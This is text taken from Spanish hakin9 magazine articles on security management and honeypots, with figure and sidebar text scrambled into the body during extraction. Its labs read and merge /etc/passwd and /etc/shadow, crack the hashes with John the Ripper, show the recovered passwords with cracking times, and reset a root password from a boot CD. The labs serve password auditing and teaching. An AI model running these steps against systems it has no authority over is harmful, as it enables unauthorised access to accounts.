Es recomendable seguir la norma internacional ISO/IEC 17799 que considera la organización<br />
como un todo y tiene en cuenta todos los posibles aspectos que se pueden<br />
ver afectados ante los posibles incidentes que se pueden producir.<br />
Hijacking<br />
Sessions<br />
Backdoors<br />
Sniffers<br />
Sweepers<br />
Packet<br />
Spoofing<br />
Central<br />
Exploit<br />
Repository<br />
Satan<br />
Stealth<br />
Diagnostic<br />
No se requieren habilidades técnicas<br />
para hackear<br />
Basados en el figura2 se concluye<br />
que al pasar de los años será<br />
mucho mas fácil hacer un ataque<br />
contra un sistema vulnerable, llama<br />
la atención el cruce de las coordenadas<br />
x,y en el uso de Sniffers para<br />
hacer ataques.<br />
Activos que<br />
se deben proteger<br />
El concepto de seguridad lleva asociado<br />
otro concepto que le da sentido:<br />
El valor, solo se debe proteger<br />
aquello que creemos tiene un valor<br />
importante para nosotros, la seguridad<br />
debe estar íntimamente asociada<br />
al valor que le damos a los<br />
objetos que deseamos proteger.<br />
La información: En esencia la<br />
información es lo que mas nos importa<br />
proteger, porque es propio de<br />
la organización especifica, ya que<br />
sin duda alguna constituye uno de<br />
los mayores activos de cualquier<br />
organización.<br />
Stack<br />
Owerflw Back<br />
E-Mail Worms<br />
Orifice<br />
Macro<br />
Virus<br />
Icmp<br />
Tunneling<br />
NMAP<br />
1990 1995 2005<br />
HIGH
Importante<br />
El concepto de seguridad informática debe ser enfocado como un proceso global, por<br />
esto se dice que desde el punto de vista legal la seguridad es el conjunto de bienes y<br />
derechos personales o de la organización que deben ser protegidos y preservados,<br />
tanto del mal uso involuntario como del uso ilícito.<br />
Modelo de seguridad<br />
informática PDCA<br />
Dada la complejidad del problema de<br />
la seguridad cuando se trata como un<br />
todo dentro de la organización, surge<br />
de forma natural la necesidad de la<br />
gestión de la seguridad por lo que las<br />
organizaciones deben plantearse un<br />
sistema de gestión de la seguridad<br />
de la información SGSI. El objetivo<br />
primordial de los SGSI es salvaguardar<br />
la información, para empezar<br />
se debe identificar que activos de<br />
información deben ser protegidos y<br />
en que grado, luego debe aplicarse<br />
el plan PDCA PLAN – DO – CHECK – ACT,<br />
es decir Planificar, Hacer, Verificar,<br />
Actuar y volver a repetir el ciclo. La<br />
seguridad consiste en la realización<br />
de las tareas necesarias para garantizar<br />
los niveles de seguridad exigibles<br />
en una organización:<br />
• En consecuencia la organización<br />
debe entender la seguridad como<br />
Tabla 1. Activación de la Herramienta<br />
Usuario Contraseña<br />
texto en claro<br />
PLANIFICAR<br />
PLAN<br />
HACER<br />
DO<br />
Figura 3. Esquema de evaluación ante un ataque<br />
www.<strong>hakin9</strong>.org/es<br />
Inseguridad de la información<br />
un proceso que nunca termina<br />
pues los riesgos nunca se eliminan<br />
en cambio se gestionan. De<br />
los riesgos se desprende que los<br />
problemas de seguridad no son<br />
únicamente de índole tecnológica<br />
por ello nunca se eliminan en su<br />
totalidad.<br />
Un SGSI siempre cumple cuatro<br />
niveles repetitivos que inician por<br />
Planificar y termina en Actuar, reciclando<br />
en mejoras continuas:<br />
Análisis<br />
de cada nivel<br />
PLANIFICAR (Plan): Establecer el<br />
contexto<br />
• En este nivel se crean las Políticas<br />
de seguridad,<br />
• Se describe el alcance del SGSI,<br />
• Se hace análisis de riesgos,<br />
• Selección de controles,<br />
• Estado de aplicabilidad.<br />
Contraseña cifrada Segundos para<br />
descifrar<br />
Acarvaja Sis d/xIxxJYTO292 10,487<br />
Acarvaja Sist Jt7jCsUUvCWJ 17,302<br />
Acarvaja Siste P5hnpqJUASIzQ 15,044<br />
Acarvaja Sistem LrxcAeTTDWOBs 16,004<br />
Acarvaja Sistema hzYQLo1RxiIEQ 146,851<br />
Acarvaja Sistemas gsZ.WUm.ozkgQ 2.604,277<br />
MEJORAS CONTINUAS<br />
VERIFICAR<br />
CHECK<br />
ACTUAR<br />
ACT<br />
HACER (Do): Implementar el sistema<br />
• Implementar el sistema de gestión<br />
de seguridad de la información,<br />
• Implementar el plan de riesgos,<br />
• Implementar los controles.<br />
VERIFICAR (Check): Monitorea y<br />
revisa<br />
• Monitorea las actividades,<br />
• Revisa,<br />
• Hace auditorias internas.<br />
ACTUAR (Act): Mantenimiento y<br />
mejora<br />
• Implementa mejoras,<br />
• Acciones preventivas,<br />
• Acciones correctivas.<br />
El mayor problema<br />
El mayor problema de hoy es que<br />
los servicios que más utilizamos no<br />
fueron pensados para ser seguros, es<br />
decir la información viaja sin cifrar por<br />
los canales inseguros. Los usuarios<br />
mal intencionados utilizan herramientas<br />
que se ponen a la escucha y pueden<br />
ver todo el trafico de red, estas<br />
herramientas se llaman sniffers. La<br />
siguiente gráfica muestra un usuario<br />
con el cliente de correo Outlook que<br />
se siente seguro por que el cliente de<br />
correo le pide la clave de la cuenta de<br />
correo y pone asteriscos en la pantalla<br />
para que este no sea observado. Lo<br />
que el usuario común y corriente no<br />
sabe es que el tráfico de la red puede<br />
ser visto con un sniffer como el popular<br />
ethereal. Definitivamente la única<br />
forma para que los sniffers no vean los<br />
datos en claro es cifrando el canal para<br />
los puertos necesarios en la transferencia<br />
de datos. Se dice que el uso<br />
de la criptografía es la salvación para<br />
proteger la confidencialidad en esta<br />
nueva era de la información.<br />
Capacitación en<br />
seguridad Informática<br />
Un plan de gestión de seguridad<br />
informática no puede existir sin capacitación<br />
especializada en las nuevas<br />
amenazas y obviamente debe hacer<br />
énfasis en como contrarrestar las<br />
mismas. La certificación en seguridad<br />
37
kit<br />
que más se busca hoy en día es la<br />
CISSP o profesional en seguridad informática<br />
certificado, las estadísticas<br />
muestran un 48% de preferencia. Le<br />
siguen la GIAC, CISA, CISM, SSCP y<br />
otras que empiezan a ser requeridas<br />
por los profesionales de redes y seguridad<br />
informática.<br />
El rompecabezas: La red<br />
La red de hoy es un rompecabezas<br />
pues los profesionales en informática<br />
deben hacer hablar e interactuar muchos<br />
elementos activos de red de diferentes<br />
fabricantes. El mayor objetivo<br />
es tener indicadores correlacionados<br />
entre las diferentes soluciones, es<br />
decir se debería cruzar la información<br />
de los diferentes logs del sistema de<br />
seguridad. Gráficamente es como tener<br />
un rompecabezas donde se tienen<br />
tecnologías heterogéneas, software<br />
de terceros, software hecho en casa,<br />
proveedores de soluciones de seguri-<br />
MOST WANTED<br />
CERTIFICATIONS<br />
Which certifications do you look for<br />
when hiring or advancing security<br />
personnel?<br />
CSSF (Cetified informatior<br />
Systems Security Professiona)<br />
48%<br />
GIAC (SANS Globa informatior on<br />
Assurance Certifiation<br />
26%<br />
CSA (Cetified informatior<br />
Security Auditor)<br />
CSM (Cetified informatior<br />
Security Manager)<br />
CSM (Cetified informatior<br />
Security Professional)<br />
15%<br />
Department of Defense<br />
T A/CREF Security<br />
7%<br />
Other<br />
None<br />
7%<br />
9%<br />
20%<br />
18%<br />
16%<br />
Figura 4. Certificaciones diguitales<br />
de mayor uso<br />
dad que no tienen interfaces entre sus<br />
sistemas… ¿quien es el responsable<br />
de integrar todos estos elementos<br />
heterogéneos?<br />
La respuesta es: Nosotros los<br />
responsables de la informática en<br />
nuestras organizaciones somos los<br />
primeros llamados a tomar decisiones<br />
al respecto, por eso este libro busca<br />
ayudar en los primeros pasos, los<br />
primeros auxilios para empezar tan<br />
loable tarea.<br />
Por lo tanto la primera tarea<br />
que debemos tener en cuenta es el<br />
análisis de riesgos, es decir antes<br />
de empezar la tarea de gestión de<br />
seguridad informática que busca la<br />
implementación de controles por soluciones<br />
existentes, primero se debe<br />
hacer un análisis de riesgos que es el<br />
paso fundamental de la gestión de la<br />
seguridad informática<br />
Rompiendo claves<br />
con John The Ripper<br />
Este es uno de los crackers más<br />
populares de contraseñas. Puede<br />
descargarse desde la URL<br />
www.openwall.com/john/ y se halla<br />
para distintos sistemas operativos,<br />
aunque inicialmente se diseñó para<br />
sistemas UNIX. Esta clase de información<br />
debe ser accesible a cualquier<br />
persona en forma pública pues<br />
esto permite que la humanidad tenga<br />
conciencia de que nuestros sistemas<br />
críticos del negocio están siendo accedidos<br />
por usuarios con contraseñas<br />
débiles que así mismo debilitan nuestra<br />
seguridad de la información. Estas<br />
herramientas nos permiten a los administradores<br />
del sistema comprobar<br />
la solidez de las contraseñas para<br />
disminuir ataques por fuerza bruta, y<br />
ataques de diccionarios. Es decir per-<br />
Cuestionamientos<br />
38 www.<strong>hakin9</strong>.org/es<br />
miten la comprobación proactiva de<br />
las contraseñas. El conocer nuestras<br />
debilidades nos permite mejorar las<br />
políticas de seguridad.<br />
La principal finalidad de este tipo<br />
de programas es detectar passwords<br />
débiles que vulneren la seguridad<br />
del sistema. Su uso es legal, pues<br />
su finalidad fundamental es la búsqueda<br />
de passwords débiles que<br />
vulneren el sistema de seguridad.<br />
Ahora cualquier elemento puede ser<br />
utilizado para fines buenos o malos,<br />
solo nosotros decidimos el uso que<br />
le damos.<br />
Utilidades de estas<br />
aplicaciones para<br />
los administradores<br />
de sistemas<br />
Permiten probar las políticas de seguridad<br />
en cuanto a los passwords débiles<br />
para saber si se están respetando.<br />
El administrador basado en los reportes<br />
de john informa a los usuarios del<br />
aseguramiento de sus claves.<br />
Por ejemplo se debería programar<br />
semanalmente la ejecución<br />
de estas pruebas para evaluar la<br />
fortaleza de los passwords de los<br />
servidores. Cuando se encuentren<br />
claves débiles se debe forzar<br />
a los usuarios su cambio. Ahora<br />
esto debe estar acompañado de<br />
una política de seguridad que<br />
dentro del sistema operativo y en<br />
las aplicaciones del negocio no<br />
se permitan: contraseñas de menos<br />
de 8 caracteres, contraseñas<br />
formadas con datos conocidos<br />
del usuario, contraseñas que no<br />
mezclen mayúsculas y minúsculas,<br />
contraseñas formadas por palabras<br />
de diccionarios y contraseñas que<br />
ya se hayan usado antes.<br />
• ¿Qué pasaría si la carpeta /etc estuviera en una partición independiente del sistema<br />
de archivos root (/)?<br />
• ¿Qué pasaría si la versión de Linux no fuera SUSE o Fedora?<br />
• Fin de laboratorio<br />
• ¿Qué pasaría si se olvida unificar los archivos /etc/passwd y /etc/shadow?<br />
• ¿Qué pasaría si evitamos la unión de los archivos y en cambio solo utilizamos<br />
/etc/shadow?<br />
• Fin de Laboratorio
Activación<br />
de la herramienta<br />
Para activar la herramienta desde<br />
un LIVE CD como por ejemplo<br />
Knoppix STD, se deben seguir los<br />
siguientes pasos:<br />
# cp –vr /KNOPPIX/etc/john /tmp<br />
Existe un archivo de claves muy<br />
utilizadas llamado passwords.lst,<br />
al ejecutar el comando wc –l<br />
password.lst se encuentran unas<br />
2290 líneas o palabras en el diccionario.<br />
Al crear un usuario por ejemplo<br />
acarvaja con el comando useradd<br />
acarvaja debe notarse que<br />
el password siempre contiene 13<br />
caracteres sin importar el tamaño<br />
de la clave de entrada, además se<br />
encuentra que si se genera el mismo<br />
password varias veces la clave<br />
cifrada no es igual, esto se debe a<br />
la SALT que son los dos primeros<br />
caracteres de la contraseña.<br />
Con el comando unshadow /etc/<br />
passwd /etc/shadow > passwd.1 se<br />
genera un solo archivo donde se<br />
fusionan usuarios y su clave cifrada<br />
respectivamente, pero también<br />
funciona si usa /etc/shadow<br />
Al ejecutar el comando: #<br />
john passwd.1, se podrán ver las<br />
claves en texto en claro. Al dejar<br />
el password igual al nombre del<br />
Sobre el Autor<br />
Armando Carvajal es Ingeniero de Sistemas de la Universidad INCCA de Colombia<br />
cuenta con un postgrado en Construcción de Software para redes de la universidad de<br />
los Andes, actualmente esta cursando la maestría Seguridad Informática en la Universidad<br />
Oberta de Cataluña (España). Se desempeña como gerente técnico de la empresa<br />
Globaltek Security, organización especializada en seguridad informática. Ha sido<br />
conferencista latinoamericano y tiene experiencia dictando postgrados de ingeniería de<br />
sistemas en algunas universidades en Colombia.<br />
Bibliografía<br />
• Colobran Huguet, Miguel (2002): Administración de sistemas operativos en Zarza.<br />
Barcelona: Universidad Oberta de Catalunia<br />
• Moron Lerma, Esther: (2002) Internet y derecho penal: Hacking y otras conductas<br />
ilícitas en la red, Editorial Aranzadi, S. A.<br />
• Villalón Huerta, Antonio, (2002) Seguridad en Unix y redes. Version 2.1.<br />
• Schneier Bruce, Beyond Fear. Thinking sensibly anout security in an ancertain<br />
world. Copernicus Books 2003.<br />
http://www.acis.org.co/archivosAcis/inseguridad.doc, Jeimy Cano, 2004<br />
Evaluación<br />
• ¿Cuales son las 3 propiedades que hacen de un sistema informático fiable o de lo<br />
contrario inseguro?<br />
• ¿Cuáles son los 4 grupos de ataque que pueden sufrir los componentes hardware,<br />
software y los datos?<br />
• ¿Defina desde el punto de vista del departamento jurídico o legal que es la seguridad<br />
informática?<br />
• ¿Qué activos que se deben proteger en seguridad Informática?<br />
• ¿Que es el PDCA en seguridad Informática?<br />
• ¿Por qué la capacitación especializada es fundamental en seguridad Informática?<br />
• ¿Por qué la los riesgos nunca se pueden eliminar?<br />
• ¿Que se gana al cifrar los canales con métodos criptográficos?<br />
• ¿Por qué debería decirse inseguridad informática en cambio de seguridad informática?<br />
www.<strong>hakin9</strong>.org/es<br />
Inseguridad de la información<br />
usuario se obtiene la siguiente<br />
clave cifrada: DR4V/VN5epYJU,<br />
el tiempo para descifrarlo en el<br />
laboratorio fue de 2,403 seg. Si<br />
usamos el password al revés como<br />
el nombre del usuario: ajavraca se<br />
obtiene la siguiente clave cifrada:<br />
zYU39Cr4f14n, el tiempo para<br />
descifrarlo fue de 2,704 seg. Si<br />
se utiliza un password que satisfaga<br />
las condiciones habituales de<br />
seguridad: Con el texto en claro<br />
@*?a200! se obtiene la siguiente<br />
clave cifrada: geU8IZd0UCKCk,<br />
pero no se puede descifrar la clave<br />
después de 24 o 48 horas.<br />
Definitivamente aumenta el<br />
tiempo necesario en ciclos de<br />
cpu al aumentar los caracteres<br />
de la contraseña. Hay un resultado<br />
de unos 15 segundos para<br />
la contraseña siste, es decir para<br />
5 caracteres, únicamente en esta<br />
clave disminuye el tiempo mientras<br />
que para el resto de la muestra<br />
es creciente. Cuando se llega a 8<br />
caracteres se necesitan unos 44<br />
minutos en promedio, entonces<br />
se puede concluir que siempre<br />
debemos usar mínimo 8 caracteres<br />
para las contraseñas seguras pues<br />
el tiempo para romperlas seria mucho<br />
mayor. Gráfica que relaciona<br />
el tiempo de proceso contra el número<br />
de caracteres. Pruebe ahora<br />
cambiándole al usuario la clave por<br />
una clave segura generada por el<br />
sistema operativo:<br />
# dd if=/dev/urandom count=200<br />
bs=1 2>/dev/null | tr "\n" "<br />
" | sed 's/[^a-zA-Z0-9]//g' | cut -c<br />
-16<br />
Use esas claves para ver cómo se<br />
comporta la herramienta.<br />
Conclusiones<br />
Existen en Internet herramientas similares<br />
para evaluar la vulnerabilidad de<br />
las claves o passwords<br />
• Son fáciles de encontrarlas y usarlas<br />
• Es claro que el 90% de los passwords<br />
son demasiado vulnerables<br />
39
kit<br />
• Pueden ser utilizadas para forzar<br />
la entrada a un sistema cuando<br />
originalmente fueron creadas para<br />
probar la debilidad del password.<br />
Laboratorio - Análisis<br />
de las claves de usuarios<br />
en un sistema Linux<br />
Probar localmente las claves de los<br />
usuarios localizados en el archivo /<br />
etc/passwd y /etc/shadow<br />
• Evaluar si la versión instalada funciona<br />
Si ya esta instalado lo mas probable<br />
es que la versión tenga problemas.<br />
Se debe bajar el software en<br />
formato tarbal desde el sitio: http:<br />
//www.openwall.com/john/ y dejarlo en<br />
el directorio: /tmp/john-1.x.tar.gz Luego<br />
se descomprime con el comando: # tar<br />
–xzvmf /tmp/john-1.x.tar.gz, Se posiciona<br />
en el directorio recién creado, se<br />
compila e instala con los comandos:<br />
# cd /tmp/john-1.x<br />
# cd src<br />
# make generic<br />
# cd ./run<br />
• Unificar archivos con el comando:<br />
# unshadow /etc/passwd/etc/shadow ><br />
passwd.1<br />
Esto genera un solo archivo donde se<br />
fusionan usuarios y su clave cifrada<br />
Ancho de Banda<br />
Correo<br />
Web<br />
IDS<br />
Análisis de<br />
Vulnerabilidades<br />
Antiespamy antivirus<br />
Figura 5. El rompecabeza, la Red<br />
respectivamente. Ejecute el comando<br />
para ver el texto en claro:<br />
# ./john passwd.1<br />
Al ejecutar el comando anterior<br />
aparece la pantalla diciendo que ha<br />
encontrado un número de usuarios<br />
para evaluar el algoritmo Standard<br />
DES [32/32], además muestra por<br />
cada usuario una lista de passwords<br />
cifrados y su equivalente en texto en<br />
claro. Los password encontrados<br />
quedan en el archivo john.pot<br />
• Evaluación de resultados<br />
d/xIxxJYTO292:sis<br />
Jt7jCsUUvCWJ.:sist<br />
P5hnpqJUASIzQ:siste<br />
LrxcAeTTDWOBs:sistem<br />
hzYQLo1RxiIEQ:sistema<br />
gsZ.WUm.ozkgQ:sistemas<br />
MjB3da.tOE2B6:acarvaja<br />
aKlHQkZTR8wY.:ajavraca<br />
T6TfkAxv4Hw4U:aca<br />
Laboratorio – Rompiendo<br />
la contraseña del usuario<br />
administrador<br />
Se asume que el disco duro está<br />
representado por el dispositivo /dev/<br />
sda, donde /dev/sda1 es la primera<br />
partición, /dev/sda2 representa la<br />
segunda partición. Generalmente<br />
los discos IDE se representan por /<br />
dev/hda pero las versiones recientes<br />
de Linux ven /dev/hda como /dev/sda<br />
Firewall y Proxy<br />
Filtro Web<br />
Aplicaciones Críticas<br />
End device<br />
Broker de aplicaciones<br />
40 www.<strong>hakin9</strong>.org/es<br />
3000<br />
2500<br />
2000<br />
1500<br />
1000<br />
500<br />
0<br />
Figura 6. Relación entre el tiempo<br />
de proceso contra números de<br />
caracteres<br />
simulando discos SCSI o SATA.<br />
Solución:<br />
• Haga boot con el CDROM<br />
• Tome la opción de recuperación<br />
• En SUSE el sistema le pedirá el<br />
usuario con el que hará el proceso<br />
de emergencia, digite root<br />
y presione la tecla enter<br />
• Averigüe cual es la partición del<br />
sistema de archivos root (/), para<br />
ello digite en SUSE cfdisk /dev/<br />
sda y en Linux Fedora fdisk /dev/<br />
sda<br />
• Para el comando fdisk tome la opción<br />
1 y luego la letra p (print) para<br />
imprimir las particiones del disco<br />
duro<br />
• Deduzca cual es la partición del<br />
sistema de archivos root (/)<br />
• Monte la partición del sistema de<br />
archivos root en la carpeta /mnt del<br />
cdrom<br />
# mount /dev/sda1 /mnt<br />
# chroot /mnt<br />
• Verifique que existan las carpetas<br />
y los archivos del sistema<br />
root (/)<br />
# cd /<br />
3 4 5 6 7 8<br />
# ls –l<br />
• Si es correcto cambie el password<br />
del usuario root<br />
• passwd root<br />
• Digite el nuevo password<br />
• Salga a root<br />
• cd /<br />
• sync;sync;sync<br />
• Reinicie el sistema<br />
• reboot<br />
• Pruebe entrar al sistema con la<br />
nueva clave. l
El valor forense<br />
de los honeypots<br />
Armando Carvajal<br />
Se define Honeypot como un recurso<br />
de red destinado a ser atacado y<br />
comprometido, este será examinado,<br />
atacado y seguramente comprometido por el<br />
atacante. Es una herramienta de seguridad<br />
informática utilizada para recoger información<br />
sobre los atacantes y sus técnicas. El<br />
honeypot proporciona información sobre el<br />
atacante antes de que se comprometan los<br />
sistemas reales.<br />
Que no hace un Honeypot:<br />
• No sirve para eliminar o corregir fallos de<br />
seguridad existentes<br />
• Si la red es vulnerable, añadir un Honeypot<br />
no resolverá esas fallas<br />
• Evitar que un atacante fije su interés en<br />
nuestra red<br />
Características de un Honeypot<br />
• Genera un volumen pequeño de datos<br />
• No existen los falsos positivos<br />
• Necesitan recursos informáticos mínimos<br />
• Son elementos pasivos<br />
• Son fuentes potenciales de riesgo para la red<br />
42 www.<strong>hakin9</strong>.org/es<br />
Los honeypots se muestran<br />
como la trampa perfecta<br />
para todos aquellos posibles<br />
atacantes, su labor radica<br />
en simular ser vulnerables o<br />
debiles al ataque, captando<br />
toda la información de sus<br />
agresores una vez diagnosticado<br />
al agresor, advierte al<br />
administrador del sistema, antes<br />
de dañar completamente la red.<br />
• Usan una dirección IP como mínimo<br />
• Los Honeypots tienen un limitado carácter<br />
preventivo<br />
• Tienen un alto grado de detección por los<br />
intrusos de ahí que son conocidos como<br />
tarros de miel<br />
En este artículo aprenderás<br />
• Cual cosa hacia o desde honeypots sera posible<br />
realizar de manera anticipada una prueba o<br />
scaneo.<br />
• El uso de recursores y la simplicidad de su<br />
aplicacion.<br />
• Contrarestar ataques.<br />
• Que es posible la implatación de ids, firewalls,<br />
vpns, proxies, filtrosantispam, cifrado etc a favor<br />
de la defensa de la información.<br />
Lo que deberías saber<br />
• Los honeypots, en algunas oportunidades son<br />
de alto riesgo.<br />
• La existencia de una muestra limitada.<br />
• Recuerda que todo arma de seguridad posee<br />
un riesgo.
• Son programables en cuanto a la<br />
reacción contra el atacante<br />
Taxonomia de los honeypots:<br />
• Honeypot de producción (Production<br />
Honeypot System)<br />
• Honeypot de investigación (Research<br />
Honeypot System)<br />
Ubicación en el perímetro<br />
Antes del firewall: Esta localización<br />
es la que menos riesgo suministra<br />
Listado 1. Comando If config: muestro de interfaces<br />
El valor forense de los honeypots<br />
a la red. Como este se encuentra<br />
fuera de la zona protegida por el<br />
firewall, puede ser atacado sin ningún<br />
tipo de peligro para el resto de<br />
la red. Detrás del firewall: El acceso<br />
al Honeypot esta dirigido por las<br />
reglas de filtrado del firewall, su<br />
ubicación permite la detección de<br />
los atacantes internos, los firewalls<br />
mal configurados, las máquinas<br />
infectadas por gusanos y los atacantes<br />
externos. En la zona desmilitarizada:<br />
Es la ubicación ideal pues<br />
lo Link encap:Local Loopback<br />
inet addr:127.0.0.1 Mask:255.0.0.0<br />
inet6 addr: ::1/128 Scope:Host<br />
UP LOOPBACK RUNNING MTU:16436 Metric:1<br />
RX packets:82 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:82 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:5847 (5.7 Kb) TX bytes:5847 (5.7 Kb)<br />
Listado 2. Construcion de un shell para probalo<br />
#!/bin/sh<br />
# Programa : ping.sh<br />
# Autor: Armando Carvajal<br />
# Parametros : Argumento $1 es el<br />
numero de veces de secuencia<br />
sec=1<br />
while true<br />
do<br />
if [ $sec -gt $1 ]<br />
then<br />
exit 0<br />
fi<br />
ping -c 1 127.0.0.${sec}<br />
sec=`expr $sec + 1`<br />
done<br />
Listado 3. Visualizacion del archivo resultado .txt<br />
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br />
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms<br />
--- 127.0.0.1 ping statistics ---<br />
1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms<br />
PING 127.0.0.2 (127.0.0.2) 56(84) bytes of data.<br />
64 bytes from 127.0.0.2: icmp_seq=1 ttl=64 time=0.011 ms<br />
--- 127.0.0.2 ping statistics ---<br />
1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />
rtt min/avg/max/mdev = 0.011/0.011/0.011/0.000 ms<br />
PING 127.0.0.3 (127.0.0.3) 56(84) bytes of data.<br />
64 bytes from 127.0.0.3: icmp_seq=1 ttl=64 time=0.010 ms<br />
…<br />
--- 127.0.0.255 ping statistics ---<br />
1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />
rtt min/avg/max/mdev = 0.007/0.007/0.007/0.000 ms<br />
www.<strong>hakin9</strong>.org/es<br />
permite detectar ataques externos<br />
e internos con una reconfiguración<br />
del firewall.<br />
Repercusiones legales<br />
Trampa (Entrapment): Es el proceso<br />
realizado por los cuerpos policiales<br />
(law enforcement) de “inducir” a<br />
alguien a cometer un acto punible<br />
con el objetivo de iniciar la acción<br />
judicial pertinente. En este caso del<br />
Honeypot, aunque es un elemento<br />
pasivo creado por nosotros para<br />
ser atacado (sin que seamos parte<br />
de los cuerpos policiales) si no deseamos<br />
perseguir judicialmente esta<br />
intrusión en el Honeypot, no realizamos<br />
ninguna trampa. El objetivo del<br />
Honeypot es recibir los ataques, no<br />
recoger información para demandar<br />
a los atacantes del Honeypot. Privacidad<br />
(Privacy): La información<br />
recogida puede dividirse en información<br />
transaccional e información de<br />
contenido.<br />
Responsabilidad (Liability): Este<br />
aspecto hace referencia a las posibles<br />
demandas que podemos recibir<br />
en el caso de que un atacante utilice<br />
nuestro Honeypot como plataforma<br />
de lanzamiento de ataques. Las demandas<br />
se basarían en que nosotros<br />
no hemos realizado unos mínimos<br />
esfuerzos de seguridad en nuestra<br />
red, sino que al contrario, facilitamos<br />
el acceso a nuestros recursos para<br />
que sean utilizados en todo tipo de<br />
ataques.<br />
Posibles utilidades<br />
Los Honeypots son útiles para las<br />
investigaciones forenses específicamente<br />
en las investigaciones de<br />
inteligencia porque permiten analizar<br />
la actividad del hacker o atacante basados<br />
en el engaño. Si ya se conoce<br />
la identidad del atacante y además<br />
usted va a tomar acciones contra<br />
del atacante es importante recordar<br />
que antes de poner el honeypot se<br />
debe tener un permiso judicial contra<br />
el atacante. Utilidad en sistemas en<br />
producción: Brindan protección, prevención,<br />
detección y respuesta a los<br />
ataques de baja interacción. Utilidad<br />
en la Investigación: Permite recolectar<br />
información, ayuda a definir ten-<br />
43
kit<br />
dencias respecto de las actividades<br />
del atacante, activación de sistemas<br />
tempranos de alarma, predicción de<br />
ataques e investigaciones criminales<br />
con alta interacción. En concreto<br />
permiten ejercer el derecho a la legítima<br />
defensa.<br />
Como ayudan en la<br />
detección y solución de<br />
problemas<br />
Dado que su objetivo fundamental<br />
es la construcción de un perfil del<br />
atacante permite la detección de las<br />
“0 days” vulnerabilidades que son<br />
tan intimidantes como las amenazas<br />
desconocidas. Por ejemplo si detectamos<br />
tráfico masivo y desconocido<br />
en la red se puede intuir que el atacante<br />
ya esta adentro, entonces con<br />
un honeypots se puede capturar el<br />
username y el password del hacker,<br />
permiten la activación de keyloggins,<br />
la detección del email del atacante,<br />
permiten ver el contenido del chat<br />
del hacker con terceros, etc. En<br />
concreto: Se puede establecer como<br />
funciona el atacante que es lo que<br />
hace y como me hace daño en forma<br />
detallada.<br />
Honeynets<br />
Se define una Honeynet como un<br />
conjunto de Honeypots altamente<br />
interactivos diseñados para la<br />
investigación y la obtención de<br />
información sobre atacantes. Una<br />
Honeynet es una arquitectura, no<br />
un producto o un software determinado.<br />
El objetivo es el de hacer creer<br />
al atacante que está ante una red<br />
real, entonces de deben añadir los<br />
distintos elementos que conforman<br />
una arquitectura de red<br />
Tradicionalmente, la mayoría de<br />
los sistemas de seguridad han sido<br />
siempre de carácter defensivo.<br />
IDS, Firewalls y demás soluciones<br />
se basan en la defensa de<br />
los sistemas de la organización,<br />
y cuando un ataque o vulnerabilidad<br />
es detectado de inmediato se<br />
procede a corregirlo, entonces el<br />
método tradicional no es proactivo<br />
es correctivo por lo tanto no hay<br />
mejora intrínseca o proactividad<br />
propia de los sistemas. Las Honeynets<br />
miran de cambiar esta<br />
actitud mediante el estudio de los<br />
ataques y atacantes. Obtener nuevos<br />
patrones de comportamiento y<br />
nuevos métodos de ataque con el<br />
objetivo de prevenirlos en los sistemas<br />
reales.<br />
Sin Honeynets, cada vez que<br />
se produzca un ataque “nuevo” y<br />
exitoso a un sistema real existente,<br />
este dejará de dar servicio y se ve-<br />
44 www.<strong>hakin9</strong>.org/es<br />
rá comprometido. Con las Honeynets,<br />
un ataque exitoso o nuevo<br />
no tiene porqué afectar a ningún<br />
Listado 4. Interfaces nuevas del sistema con comando ifconfig<br />
ifconfig dummy0 192.168.100.1 netmask 255.255.255.0 up<br />
ifconfig –a<br />
dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00<br />
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0<br />
UP BROADCAST RUNNING NOARP MTU:1500 Metric:1<br />
RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:0 (0.0 b) TX bytes:2485 (2.4 KiB)<br />
lo Link encap:Local Loopback<br />
inet addr:127.0.0.1 Mask:255.0.0.0<br />
UP LOOPBACK RUNNING MTU:16436 Metric:1<br />
RX packets:36 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:36 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:3024 (2.9 KiB) TX bytes:3024 (2.9 KiB)<br />
Listado 5. Procesa de prueba interfaces<br />
ping 192.168.100.1<br />
PING 192.168.100.1 (192.168.100.1): 56 data bytes<br />
64 bytes from 192.168.100.1: icmp_seq=0 ttl=64 time=0.0 ms<br />
64 bytes from 192.168.100.1: icmp_seq=1 ttl=64 time=0.0 ms<br />
64 bytes from 192.168.100.1: icmp_seq=2 ttl=64 time=0.0 ms<br />
--- 192.168.100.1 ping statistics ---<br />
3 packets transmitted, 3 packets received, 0% packet loss<br />
round-trip min/avg/max = 0.0/0.0/0.0 ms<br />
ping 127.0.0.1<br />
PING 127.0.0.1 (127.0.0.1): 56 data bytes<br />
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.0 ms<br />
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.0 ms<br />
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.0 ms<br />
--- 127.0.0.1 ping statistics ---<br />
3 packets transmitted, 3 packets received, 0% packet loss<br />
round-trip min/avg/max = 0.0/0.0/0.0 ms<br />
Listado 6. Honey .cfg nuevo archivo de configuracion creado en<br />
directorio del usario el root<br />
vi /root/honey.cfg<br />
create template<br />
set template personality "OpenBSD 2.6-2.8"<br />
set template default tcp action block<br />
set template uid 1000 gid 1000<br />
bind 192.168.100.3 template<br />
set 192.168.100.3 uptime 1327650<br />
Como ayudan<br />
Dado que su objetivo fundamental es la<br />
construcción de un perfil del atacante<br />
permite la detección de las “0 days” vulnerabilidades<br />
que son tan intimidantes<br />
como las amenazas desconocidas.
sistema real. Además perderá el<br />
factor sorpresa, ya que habremos<br />
obtenidos datos precisos de su<br />
